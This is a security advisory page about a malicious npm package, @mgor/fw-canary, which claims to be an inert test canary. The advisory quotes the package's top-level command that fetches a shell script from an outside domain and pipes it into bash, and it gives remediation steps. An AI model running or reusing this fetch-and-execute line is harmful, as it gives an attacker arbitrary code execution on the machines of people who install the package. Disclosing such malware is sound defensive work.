Skip to content
OpenAdvisories
Malicious MAL-2026-12321

@mgor/fw-canary-20260725-394b024b

npm package · versions 0.0.2

Reported Aug 5, 2026 · Updated Aug 5, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37)
index.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.